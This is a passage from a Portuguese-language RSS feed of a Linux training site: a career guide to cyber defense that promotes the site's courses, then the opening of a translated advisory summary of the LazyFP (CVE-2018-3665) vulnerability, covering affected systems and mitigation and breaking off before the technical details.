<p class="wp-block-paragraph">E o Brasil é destaque entre os países com maior número de violações de dados. De acordo com o relatório <a href="https://surfshark.com/research/data-breach-monitoring?country=br" target="_blank" rel="noreferrer noopener nofollow">Global Data Breach Statistics</a>, realizado pela Surfshark, 84,6 milhões de contas de usuários foram violadas no país em 2024.</p>



<p class="wp-block-paragraph">Ao mesmo tempo, o mercado enfrenta uma escassez global de profissionais especializados em segurança digital. O estudo <a href="https://www.isc2.org/insights/2024/10/isc2-2024-cybersecurity-workforce-study" target="_blank" rel="noreferrer noopener nofollow"><em>2024 Cybersecurity Workforce Study</em></a>, da ISC2, aponta que o déficit mundial de profissionais em cibersegurança já ultrapassa 4,7 milhões de pessoas.</p>



<p class="wp-block-paragraph">Uma <a href="https://www.linkedin.com/news/story/98-das-empresas-enfrentam-falta-de-talento-tech-diz-estudo-8741914/" target="_blank" rel="noreferrer noopener nofollow">pesquisa da Ford em parceria com o Datafolha</a> revelou que só no Brasil, 98% das empresas enfrentam dificuldade para contratar profissionais de tecnologia.</p>



<p class="wp-block-paragraph">Ou seja, na prática, a demanda por especialistas em defesa cibernética cresce mais rápido do que a capacidade do mercado de formar profissionais qualificados.</p>



<p class="wp-block-paragraph">E é justamente por isso que a área vem sendo considerada uma das carreiras mais promissoras da próxima década.</p>



<h2 class="wp-block-heading"><strong>Mas afinal, o que é defesa cibernética?</strong></h2>



<p class="wp-block-paragraph">Defesa cibernética é o conjunto de estratégias, tecnologias e práticas utilizadas para proteger sistemas, redes, servidores, aplicações e dados contra ataques digitais.</p>



<p class="wp-block-paragraph">Com a evolução da tecnologia e o aumento da digitalização das empresas, essas ameaças se tornaram mais sofisticadas e proteger ambientes digitais passou a ser prioridade em muitos casos.</p>



<p class="wp-block-paragraph">Por isso, o foco da defesa cibernética é prevenir invasões, identificar vulnerabilidades e responder rapidamente a incidentes de segurança.</p>



<h3 class="wp-block-heading"><strong>Cibersegurança VS. defesa cibernética</strong></h3>



<p class="wp-block-paragraph">Embora muitas vezes sejam tratados como sinônimos, existe uma diferença importante entre cibersegurança e defesa cibernética.</p>



<p class="wp-block-paragraph">A cibersegurança é um conceito mais amplo, que envolve políticas, governança, proteção de dados e segurança digital de forma geral.</p>



<p class="wp-block-paragraph">Já a defesa cibernética possui um foco mais operacional e estratégico na proteção ativa de ambientes e infraestruturas digitais.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/06/img-1-Ciberseguranca-VS.-defesa-cibernetica.jpg" alt="comparativo entre cibersegurança e defesa cibernética" class="wp-image-5070" srcset="https://linuxforce.com.br/wp-content/uploads/2026/06/img-1-Ciberseguranca-VS.-defesa-cibernetica.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-1-Ciberseguranca-VS.-defesa-cibernetica-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-1-Ciberseguranca-VS.-defesa-cibernetica-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Ou seja: enquanto a cibersegurança define estratégias de proteção, a defesa cibernética atua diretamente na prevenção, monitoramento e resposta às ameaças.</p>



<h2 class="wp-block-heading"><strong>Por que a área de Defesa Cibernética está crescendo tanto?</strong></h2>



<p class="wp-block-paragraph">O crescimento da área não acontece por acaso.</p>



<p class="wp-block-paragraph">Ele é resultado de uma combinação de fatores tecnológicos, econômicos e comportamentais que transformaram a segurança digital em prioridade para empresas do mundo inteiro.</p>



<p class="wp-block-paragraph">Essas são algumas delas:</p>



<h3 class="wp-block-heading"><strong>Crescimento dos ataques digitais</strong></h3>



<p class="wp-block-paragraph">Os ataques cibernéticos evoluíram.</p>



<p class="wp-block-paragraph">Hoje, criminosos utilizam automações, inteligência artificial e técnicas cada vez mais sofisticadas para explorar vulnerabilidades em empresas, governos e usuários comuns.</p>



<p class="wp-block-paragraph">Entre os ataques mais frequentes estão:</p>



<ul class="wp-block-list">
<li><strong>Ransomwares:</strong> ataques que bloqueiam sistemas ou criptografam arquivos da empresa, exigindo pagamento para restaurar o acesso aos dados.</li>



<li><strong>Roubo de credenciais:</strong> quando criminosos conseguem acessar logins, senhas e informações de autenticação de usuários ou colaboradores para invadir sistemas internos.</li>



<li><strong>Sequestro de dados:</strong> ataques voltados para capturar informações sensíveis, como dados financeiros, documentos internos ou informações de clientes, muitas vezes usados para extorsão.</li>



<li><strong>Invasões em ambientes cloud:</strong> ataques direcionados a infraestruturas em nuvem, explorando configurações incorretas, permissões excessivas ou falhas de segurança em plataformas cloud.</li>



<li><strong>Ataques contra APIs e aplicações web:</strong> exploração de vulnerabilidades em sistemas, sites e integrações para acessar dados, comprometer aplicações ou interromper serviços digitais.</li>
</ul>



<p class="wp-block-paragraph">Além do prejuízo financeiro, incidentes de segurança também afetam reputação, operação e confiança de clientes.</p>



<p class="wp-block-paragraph">Por isso, empresas passaram a investir mais em prevenção, monitoramento e resposta a incidentes.</p>



<h3 class="wp-block-heading"><strong>Falta de profissionais qualificados</strong></h3>



<p class="wp-block-paragraph">Enquanto os ataques aumentam, o mercado enfrenta dificuldade para contratar especialistas preparados.</p>



<p class="wp-block-paragraph">Essa escassez aumenta a valorização de profissionais especializados e cria oportunidades para quem deseja entrar na área.</p>



<p class="wp-block-paragraph">Empresas de tecnologia, bancos, fintechs, indústrias, startups e organizações públicas disputam profissionais com conhecimentos em diferentes áreas da segurança e infraestrutura digital, como:</p>



<ul class="wp-block-list">
<li><strong>Linux:</strong> sistema operacional amplamente utilizado em servidores, cloud computing e ambientes corporativos. Profissionais com domínio de Linux costumam atuar na administração, proteção e monitoramento de infraestruturas críticas.</li>



<li><strong>Redes:</strong> conhecimento essencial para entender como sistemas, dispositivos e servidores se comunicam. Essa base ajuda profissionais a identificar falhas, monitorar tráfego suspeito e proteger ambientes corporativos.</li>



<li><strong>Cloud computing:</strong> área responsável por ambientes em nuvem, como AWS, Azure e Google Cloud. Com a migração de empresas para a cloud, cresce também a necessidade de proteger infraestruturas e dados armazenados nesses ambientes.</li>



<li><strong>Análise de vulnerabilidades:</strong> processo de identificar falhas de segurança em sistemas, aplicações e redes antes que elas sejam exploradas por criminosos.</li>



<li><strong>Segurança ofensiva:</strong> área que simula ataques reais para encontrar brechas de segurança. Profissionais dessa área realizam testes e avaliações para ajudar empresas a fortalecer suas defesas digitais.</li>



<li><strong>Resposta a incidentes:</strong> atuação focada em investigar, conter e minimizar impactos de ataques cibernéticos, vazamentos de dados e invasões em ambientes corporativos.</li>
</ul>



<h3 class="wp-block-heading"><strong>Transformação digital acelerada</strong></h3>



<p class="wp-block-paragraph">Nos últimos anos, empresas de todos os setores aceleraram sua digitalização. Sistemas migraram para a nuvem, equipes passaram a trabalhar remotamente e operações inteiras se tornaram cada vez mais conectadas.</p>



<p class="wp-block-paragraph">Na prática, isso trouxe mais agilidade, escalabilidade e eficiência para os negócios. Porém, quanto mais sistemas, dispositivos e aplicações conectados, maior é a chamada “superfície de ataque”.</p>



<p class="wp-block-paragraph">Dessa forma, maior também é a quantidade de pontos que podem ser explorados por criminosos virtuais. Hoje, muitas empresas operam utilizando tecnologias como:</p>



<ul class="wp-block-list">
<li>cloud computing</li>



<li>inteligência artificial</li>



<li>containers</li>



<li>Kubernetes</li>



<li>automações DevOps</li>



<li>ambientes multi-cloud</li>
</ul>



<p class="wp-block-paragraph">Essas ferramentas revolucionaram a forma como empresas desenvolvem, armazenam e distribuem dados e aplicações. No entanto, também criaram novos desafios de segurança.</p>



<p class="wp-block-paragraph">Um ambiente em nuvem mal configurado, por exemplo, pode expor dados sensíveis. APIs vulneráveis podem abrir portas para invasões. Automatizações sem monitoramento adequado podem gerar brechas difíceis de identificar.</p>



<p class="wp-block-paragraph">Além disso, o crescimento do trabalho remoto ampliou ainda mais os riscos, já que colaboradores passaram a acessar sistemas corporativos a partir de diferentes dispositivos, redes e locais.</p>



<p class="wp-block-paragraph">Por isso, a defesa cibernética deixou de ser apenas uma preocupação técnica do setor de TI. Proteger ambientes digitais se tornou uma necessidade estratégica para empresas que dependem da tecnologia para operar, crescer e manter a confiança de clientes e parceiros.</p>



<h2 class="wp-block-heading"><strong>O que faz um profissional de Defesa Cibernética?</strong></h2>



<p class="wp-block-paragraph">O profissional de defesa cibernética atua protegendo sistemas, redes, aplicações e dados contra ameaças digitais. Mas, na prática, a área vai muito além da ideia de “evitar hackers”.</p>



<p class="wp-block-paragraph">Esses profissionais trabalham para identificar riscos antes que eles se tornem problemas reais, monitorar ambientes digitais e responder rapidamente a possíveis ataques ou falhas de segurança.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/06/img-2-O-que-faz-um-profissional-de-Defesa-Cibernetica_-1.jpg" alt="profissional de defesa cibernética monitorando sistemas" class="wp-image-5073" srcset="https://linuxforce.com.br/wp-content/uploads/2026/06/img-2-O-que-faz-um-profissional-de-Defesa-Cibernetica_-1.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-2-O-que-faz-um-profissional-de-Defesa-Cibernetica_-1-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-2-O-que-faz-um-profissional-de-Defesa-Cibernetica_-1-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Em um cenário onde empresas dependem cada vez mais de cloud computing, sistemas conectados e operações digitais, a segurança deixou de ser apenas uma camada extra de proteção, ela passou a fazer parte da continuidade do negócio.</p>



<p class="wp-block-paragraph">Por isso, profissionais da área costumam atuar em diferentes frentes da segurança digital. Entre as principais atividades estão:</p>



<ul class="wp-block-list">
<li><strong>Monitoramento de ambientes e redes:</strong> acompanhamento contínuo de servidores, sistemas e tráfego de rede para identificar comportamentos suspeitos, acessos indevidos ou possíveis tentativas de ataque.</li>



<li><strong>Análise de vulnerabilidades:</strong> identificação de falhas de segurança em sistemas, aplicações ou infraestruturas antes que criminosos possam explorá-las.</li>



<li><strong>Investigação de incidentes:</strong> análise de eventos suspeitos para entender como um ataque aconteceu, quais sistemas foram afetados e como reduzir impactos.</li>



<li><strong>Análise de logs:</strong> interpretação de registros gerados por servidores, aplicações e dispositivos para rastrear atividades, detectar anomalias e investigar ameaças.</li>



<li><strong>Hardening de servidores:</strong> processo de reforçar a segurança de sistemas e servidores, reduzindo vulnerabilidades e removendo riscos desnecessários.</li>



<li><strong>Testes de segurança:</strong> simulações e análises práticas realizadas para encontrar brechas em aplicações, redes e ambientes corporativos.</li>



<li><strong>Controle de acessos:</strong> gerenciamento de permissões e autenticações para garantir que apenas usuários autorizados tenham acesso a sistemas e informações sensíveis.</li>



<li><strong>Implementação de políticas de segurança:</strong> criação de regras, processos e boas práticas para proteger ambientes corporativos e reduzir riscos operacionais.</li>



<li><strong>Resposta a ataques e invasões:</strong> atuação rápida para conter incidentes, minimizar danos e restaurar a segurança dos sistemas afetados.</li>
</ul>



<p class="wp-block-paragraph">Como os ambientes tecnológicos se tornaram cada vez mais integrados, esse profissional também costuma trabalhar em conjunto com diferentes equipes da área de tecnologia.</p>



<p class="wp-block-paragraph">Por isso, conhecimentos em infraestrutura, cloud computing, redes, Linux, DevOps, automação e compliance acabam se tornando diferenciais importantes para quem deseja crescer na área.</p>



<h3 class="wp-block-heading"><strong>Principais áreas de atuação em Defesa Cibernética</strong></h3>



<p class="wp-block-paragraph">A defesa cibernética é uma área ampla e multidisciplinar.</p>



<p class="wp-block-paragraph">Conforme o profissional evolui na carreira, é possível seguir diferentes caminhos de especialização, desde áreas mais defensivas e estratégicas até funções focadas em testes de invasão e segurança ofensiva.</p>



<p class="wp-block-paragraph">Essa variedade permite que cada profissional desenvolva habilidades específicas de acordo com seus interesses, perfil técnico e objetivos de carreira.</p>



<p class="wp-block-paragraph">Algumas das áreas mais conhecidas são:</p>



<ul class="wp-block-list">
<li><strong>Blue Team:</strong> profissionais focados em defesa, monitoramento e proteção de ambientes contra ataques.</li>



<li><strong>Red Team:</strong> especialistas que simulam ataques reais para identificar vulnerabilidades e testar a segurança das empresas.</li>



<li><strong>SOC Analyst:</strong> responsável pelo monitoramento contínuo de incidentes e alertas de segurança em centros de operações de segurança (SOC).</li>



<li><strong>Pentester:</strong> profissional que realiza testes de invasão controlados para encontrar falhas antes que elas sejam exploradas por criminosos.</li>



<li><strong>DevSecOps:</strong> área que integra segurança aos processos de desenvolvimento e automação de infraestrutura.</li>



<li><strong>Cloud Security:</strong> foco na proteção de ambientes em nuvem, cada vez mais utilizados por empresas modernas.</li>



<li><strong>Threat Intelligence:</strong> análise de ameaças, padrões de ataque e comportamento de grupos criminosos para antecipar riscos digitais.</li>
</ul>



<p class="wp-block-paragraph">Essa variedade de possibilidades faz com que a área de defesa cibernética seja uma das mais dinâmicas da tecnologia atualmente, permitindo que profissionais sigam caminhos mais técnicos, estratégicos, ofensivos ou voltados para gestão de segurança.</p>



<h3 class="wp-block-heading"><strong>Quanto ganha um profissional de Defesa Cibernética?</strong></h3>



<p class="wp-block-paragraph">Os salários variam conforme experiência, certificações e nível técnico.</p>



<p class="wp-block-paragraph">Além disso, a área de atuação também influencia diretamente a remuneração do profissional.</p>



<p class="wp-block-paragraph">Embora os valores possam variar de acordo com região, porte da empresa e nível de especialização, algumas médias praticadas pelo mercado brasileiro ajudam a entender o potencial da carreira.</p>



<p class="wp-block-paragraph">Profissionais iniciantes já encontram oportunidades competitivas no mercado, especialmente quando possuem conhecimentos práticos em Linux, redes e segurança.</p>



<p class="wp-block-paragraph">Dependendo da senioridade da sua experiência, sua faixa salarial pode variar de R$ 3.500 a R$ 15.000.</p>



<p class="wp-block-paragraph">Já profissionais especializados em Cloud Security, DevSecOps, Pentest, resposta a incidentes e engenharia de segurança tendem a alcançar salários ainda mais elevados.</p>



<p class="wp-block-paragraph">Para esses especialistas, a faixa salarial pode começar com R$ 5.000 e ultrapassar R$ 20.000, especialmente em posições mais avançadas.</p>



<p class="wp-block-paragraph">Outro diferencial importante é que a área possui uma alta demanda contínua, oferecendo oportunidades internacionais, trabalho remoto e até atuação em empresas globais.</p>



<p class="wp-block-paragraph">Com a crescente digitalização das empresas, a tendência é que a valorização desses profissionais continue aumentando nos próximos anos.</p>



<h2 class="wp-block-heading"><strong>Como começar carreira em Defesa Cibernética?</strong></h2>



<p class="wp-block-paragraph">Entrar na área de defesa cibernética pode parecer desafiador no início, principalmente porque muitas pessoas associam segurança da informação a um universo extremamente técnico e distante da realidade de quem está começando.</p>



<p class="wp-block-paragraph">A carreira em defesa cibernética é construída em etapas, desenvolvendo fundamentos sólidos e ganhando experiência prática ao longo do caminho.</p>



<p class="wp-block-paragraph">E existe um ponto importante que diferencia profissionais que conseguem evoluir mais rápido no mercado: a combinação entre conhecimento técnico, prática real e direcionamento.</p>



<p class="wp-block-paragraph">As empresas não procuram apenas pessoas que conhecem conceitos teóricos. Elas precisam de profissionais capazes de entender ambientes reais, identificar vulnerabilidades, analisar riscos e atuar diante de problemas concretos.</p>



<p class="wp-block-paragraph">Antes de tudo é necessário dominar os fundamentos que sustentam toda a área de segurança:</p>



<ul class="wp-block-list">
<li><strong>Redes:</strong> entender como sistemas e dispositivos se comunicam é essencial para identificar vulnerabilidades, monitorar tráfego e analisar possíveis ameaças.</li>



<li><strong>Linux:</strong> dominar o sistema operacional é um diferencial importante para quem deseja atuar com segurança.</li>



<li><strong>Segurança ofensiva e defensiva:</strong> compreender tanto a lógica dos ataques quanto as estratégias de proteção ajuda o profissional a atuar de forma mais completa.</li>



<li><strong>Análise de vulnerabilidades:</strong> aprender a identificar falhas antes que elas sejam exploradas é uma das habilidades mais valorizadas pelo mercado.</li>



<li><strong>Ambientes reais de mercado:</strong> mais do que teoria, é importante desenvolver experiência prática em laboratórios, simulações e cenários próximos da realidade corporativa.</li>
</ul>



<h3 class="wp-block-heading"><strong>O primeiro passo: construir uma base sólida em Linux e infraestrutura</strong></h3>



<p class="wp-block-paragraph">Grande parte das infraestruturas modernas funcionam sobre ambientes Linux.</p>



<p class="wp-block-paragraph">Servidores, cloud computing, containers, automações DevOps e ferramentas de segurança frequentemente utilizam Linux como base operacional. Isso faz com que o sistema esteja presente em praticamente todas as áreas da segurança da informação.</p>



<p class="wp-block-paragraph">Na prática, entender Linux ajuda o profissional a:</p>



<ul class="wp-block-list">
<li>administrar servidores</li>



<li>analisar permissões e acessos</li>



<li>monitorar processos</li>



<li>identificar comportamentos suspeitos</li>



<li>automatizar tarefas</li>



<li>compreender ambientes corporativos reais</li>
</ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="575" src="https://linuxforce.com.br/wp-content/uploads/2026/06/img-3-O-primeiro-passo_-construir-uma-base-solida-em-Linux-e-infraestrutura-1.jpg" alt="ambiente Linux e infraestrutura em segurança da informação" class="wp-image-5074" srcset="https://linuxforce.com.br/wp-content/uploads/2026/06/img-3-O-primeiro-passo_-construir-uma-base-solida-em-Linux-e-infraestrutura-1.jpg 1024w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-3-O-primeiro-passo_-construir-uma-base-solida-em-Linux-e-infraestrutura-1-300x168.jpg 300w, https://linuxforce.com.br/wp-content/uploads/2026/06/img-3-O-primeiro-passo_-construir-uma-base-solida-em-Linux-e-infraestrutura-1-768x431.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h3 class="wp-block-heading"><strong>Segurança cibernética exige uma combinação de teoria e prática</strong></h3>



<p class="wp-block-paragraph">Com o aumento dos ataques digitais e da transformação tecnológica das empresas, cresce também a busca por profissionais que consigam atuar em cenários modernos de infraestrutura e segurança.</p>



<p class="wp-block-paragraph">Por isso, um dos erros mais comuns de quem está começando é consumir apenas conteúdo teórico sem aplicar os conhecimentos em ambientes práticos.</p>



<p class="wp-block-paragraph">Na segurança da informação, a prática faz diferença. Aprender a analisar vulnerabilidades, interpretar logs, proteger sistemas e identificar ameaças exige contato com laboratórios, simulações e situações próximas da realidade do mercado.</p>



<p class="wp-block-paragraph">É justamente por isso que cursos com abordagem prática e acompanhamento técnico costumam acelerar o desenvolvimento profissional.</p>



<p class="wp-block-paragraph">Aulas ao vivo, interação com especialistas e exercícios aplicados ajudam o aluno a entender não apenas “o que fazer”, mas principalmente como resolver problemas reais.</p>



<h3 class="wp-block-heading"><strong>Certificações também ajudam a fortalecer a carreira</strong></h3>



<p class="wp-block-paragraph">Além da experiência prática, certificações podem funcionar como um diferencial importante no mercado.</p>



<p class="wp-block-paragraph">Elas ajudam a validar conhecimentos técnicos e demonstram comprometimento com a evolução profissional.</p>



<p class="wp-block-paragraph">Dependendo da área de interesse, algumas certificações bastante valorizadas incluem:</p>



<ul class="wp-block-list">
<li>LPIC</li>



<li>Security+</li>



<li>CEH</li>



<li>certificações cloud</li>



<li>certificações DevOps</li>



<li>especializações em segurança ofensiva e defensiva</li>
</ul>



<p class="wp-block-paragraph">Mas vale um ponto importante: certificações costumam gerar mais resultado quando o profissional já possui uma base sólida e experiência prática.</p>



<p class="wp-block-paragraph">Por isso, a combinação entre formação técnica, prática em laboratório e preparação para certificações tende a ser o caminho mais eficiente para quem deseja crescer na área.</p>



<h2 class="wp-block-heading"><strong>Quer construir uma carreira em Defesa Cibernética? Comece pela base certa</strong></h2>



<p class="wp-block-paragraph">A crescente demanda por profissionais de defesa cibernética mostra que o mercado precisa, cada vez mais, de especialistas capazes de proteger sistemas, dados e infraestruturas críticas.</p>



<p class="wp-block-paragraph">Mas, apesar das inúmeras oportunidades, existe um ponto em comum entre os profissionais que conseguem crescer na área: todos construíram uma base técnica sólida antes de avançar para especializações mais complexas.</p>



<p class="wp-block-paragraph">Conhecimentos em Linux, infraestrutura, redes, cloud computing e automação continuam sendo alguns dos pilares mais importantes para quem deseja atuar com segurança da informação.</p>



<p class="wp-block-paragraph">Por isso, antes de pensar em ferramentas específicas ou certificações avançadas, é fundamental desenvolver uma compreensão prática sobre como os ambientes corporativos funcionam na realidade.</p>



<h3 class="wp-block-heading"><strong>Formação Linux Force ajuda profissionais a compreender ambientes Linux</strong></h3>



<p class="wp-block-paragraph">Na Linux Force, essa formação acontece por meio de uma metodologia focada em prática, acompanhamento técnico e aplicação real dos conhecimentos.</p>



<p class="wp-block-paragraph">Os treinamentos abordam desde os fundamentos de Linux e infraestrutura até temas mais avançados relacionados a cloud, DevOps e segurança da informação, preparando profissionais para desafios que fazem parte do mercado atual.</p>



<p class="wp-block-paragraph">Com aulas online e 100% ao vivo, nossa formação proporciona conhecimentos em infraestrutura e os fundamentos necessários para evoluir para áreas como Defesa Cibernética, Cloud Security, DevSecOps e Segurança da Informação.</p>



<p class="wp-block-paragraph">Além do conteúdo técnico, os alunos têm contato com laboratórios práticos, acompanhamento de especialistas e uma metodologia voltada para situações reais encontradas no mercado de tecnologia.</p>



<p class="wp-block-paragraph">Para quem busca uma carreira em defesa cibernética, investir na formação certa pode ser o primeiro passo para aproveitar um dos mercados mais promissores da tecnologia.</p>



<h2 class="wp-block-heading"><strong>FAQ</strong></h2>



<h3 class="wp-block-heading"><strong>Precisa saber programação para trabalhar com Defesa Cibernética?</strong></h3>



<p class="wp-block-paragraph">Não necessariamente. Muitas funções de entrada exigem mais conhecimentos em Linux, redes, sistemas operacionais e infraestrutura do que programação. Com o tempo, aprender linguagens de script pode se tornar um diferencial.</p>



<h3 class="wp-block-heading"><strong>Dá para começar na área do zero?</strong></h3>



<p class="wp-block-paragraph">Sim. Muitos profissionais iniciam a carreira sem experiência prévia em segurança da informação. O mais importante é construir uma base sólida em Linux, redes e infraestrutura.</p>



<h3 class="wp-block-heading"><strong>Linux é obrigatório para trabalhar com Defesa Cibernética?</strong></h3>



<p class="wp-block-paragraph">Embora não seja obrigatório em todas as funções, Linux é uma das habilidades mais valorizadas pelo mercado. Grande parte dos servidores, ambientes cloud e ferramentas de segurança utiliza esse sistema operacional.</p>



<h3 class="wp-block-heading"><strong>Quanto tempo leva para aprender Defesa Cibernética?</strong></h3>



<p class="wp-block-paragraph">O aprendizado é contínuo, mas muitas pessoas conseguem desenvolver uma base sólida em alguns meses de estudo estruturado e prática constante.</p>



<h3 class="wp-block-heading"><strong>Vale a pena estudar Defesa Cibernética em 2026?</strong></h3>



<p class="wp-block-paragraph">Sim. O crescimento dos ataques digitais, a transformação tecnológica das empresas e a escassez de profissionais qualificados fazem da defesa cibernética uma das áreas mais promissoras da tecnologia atualmente.</p>


]]></content:encoded>
					
					<wfw:commentRss>https://linuxforce.com.br/seguranca-da-informacao/defesa-cibernetica/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Lazy FPU &#8211; A nova vulnerabilidade da Intel</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/lazy-fpu-a-nova-vulnerabilidade-da-intel/</link>
					<comments>https://linuxforce.com.br/seguranca-da-informacao/lazy-fpu-a-nova-vulnerabilidade-da-intel/#respond</comments>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:28 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1568</guid>

					<description><![CDATA[Após o Meltdown e o Specter, que foram divulgados publicamente em janeiro, em seguida as vulnerabilidades do Spectre V3a e V4 ocorreram em maio, e esta última pode ser parte das 8 novas vulnerabilidades no total que serão divulgadas no decorrer do ano. No início deste ano, Julian Stecklina (Amazon) e Thomas Prescher (Cyberus Technology) [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><span class="notranslate">Após o Meltdown e o Specter, que foram divulgados publicamente em janeiro, em seguida as vulnerabilidades do Spectre V3a e V4 ocorreram em maio</span><span class="notranslate">, e esta última pode ser parte das 8 novas vulnerabilidades no total que serão divulgadas no decorrer do ano.</span></p>
<p><span class="notranslate">No início deste ano, Julian Stecklina (Amazon) e Thomas Prescher (Cyberus Technology) descobriram em conjunto e divulgaram com responsabilidade outra vulnerabilidade  e chamaram de <strong>LazyFP</strong> .</span> <span class="notranslate">O LazyFP (CVE-2018-3665) é um ataque direcionado a sistemas operacionais que usam comutação lenta de FPU.</span> <span class="notranslate">Este artigo descreve o que esse ataque significa, descreve como ele pode ser atenuado e como ele realmente funciona.</span></p>
<h2 id="summary-and-implications"><span class="notranslate">Resumo e Implicações</span></h2>
<p><span class="notranslate">A divulgação pública desta vulnerabilidade foi inicialmente adiada por um embargo típico de informações de divulgação responsável até agosto, mas os primeiros rumores levaram a que essa data fosse descartada.</span></p>
<p><span class="notranslate">O estado do registro da unidade de ponto flutuante (FPU), que consiste nos conjuntos de registros AVX, MMX e SSE, pode ser vazado nos limites do domínio de proteção.</span> <span class="notranslate">Isso inclui vazamentos nos limites de processos e máquinas virtuais.</span></p>
<p><span class="notranslate">O estado da FPU pode conter informações confidenciais, como chaves criptográficas.</span> <span class="notranslate">Como exemplo, o <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/AES_instruction_set&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhg9fTjb0qLRdh-4eHika-uqx-PFNw" rel="nofollow noopener">conjunto de instruções Intel AES (AES-NI)</a> usa registradores FPU para armazenar chaves redondas.</span> <span class="notranslate">Só é possível explorar quando o sistema operacional ou hypervisor subjacente usa a comutação de FPU lenta.</span></p>
<p><span class="notranslate">Outro caso de uso interessante dessa vulnerabilidade é a criação de canais ocultos de alto desempenho entre as VMs.</span> <span class="notranslate">Ao usar todos os conjuntos de registros e controlar a frequência de programação do núcleo, é possível maximizar a taxa de transferência até o intervalo de MB / s.</span></p>
<p><span class="notranslate">Os usuários são afetados quando executam uma combinação de processador afetado e sistemas operacionais afetados.</span></p>
<ul>
<li><span class="notranslate">Sistemas Operacionais Afetados:</span>
<ul>
<li><span class="notranslate">Linux:</span>
<ul>
<li><span class="notranslate">versões do kernel &lt;4.9 com parâmetros de inicialização não padrão ( <code>eagerfpu=off</code> ) são afetados</span></li>
<li><span class="notranslate">versões do kernel &lt;4.6 rodando nos processadores Intel afetados antes do <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Haswell_(microarchitecture)&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhgcRqGZvPS-tb5eM8xAILW22l2A3Q" rel="nofollow noopener">Haswell</a> ou com parâmetros de inicialização personalizados ( <code>eagerfpu=off</code> ou <code>noxsave</code> )</span></li>
<li><span class="notranslate">versões do kernel 4.4.y com y &lt;138 tem um bug em sua ansiosa troca de FPU</span></li>
<li><span class="notranslate">versões do kernel &lt;3.7 em todas as CPUs afetadas</span></li>
<li><span class="notranslate">As versões do kernel Linux começando com 4.9 não são afetadas, independentemente da CPU.</span></li>
</ul>
</li>
<li><span class="notranslate">FreeBSD</span></li>
<li><span class="notranslate">Microsoft Windows, consulte o aviso <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180016&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhjf9SJMzZ4sYNU4bMPO5W1FoUbIJA" rel="nofollow noopener">ADV180016</a></span></li>
</ul>
</li>
<li><span class="notranslate">Hipervisores afetados:</span>
<ul>
<li><span class="notranslate">KVM quando executado em versões de kernel do Linux afetadas</span></li>
<li><span class="notranslate">Todas as versões do Xen e geralmente todos os hipervisores que empregam <em>comutação preguiçosa do FPU</em></span></li>
</ul>
</li>
<li><span class="notranslate">CPUs afetadas quando o sistema operacional afetado ou o hipervisor é usado:</span>
<ul>
<li><span class="notranslate">Verificamos o problema na microarquitetura Intel Core de <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Sandy_Bridge&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhgsSerpIusF1_ywf5mq1K4TuGPZCg" rel="nofollow noopener">Sandy Bridge</a> para <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Skylake_(microarchitecture)&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhiUL9em8Uq93udKJ5Gc8FTbFzAxMg" rel="nofollow noopener">Skylake</a></span></li>
<li><span class="notranslate">Estado de outros processadores não é claro neste momento</span></li>
</ul>
</li>
</ul>
<p><span class="notranslate">A atenuação requer que o software do sistema use a comutação <em>ansiosa</em> FPU em vez da comutação <em>lenta do</em> FPU.</span></p>
<h2 id="technical-background"><span class="notranslate">Antecedentes Técnicos</span></h2>
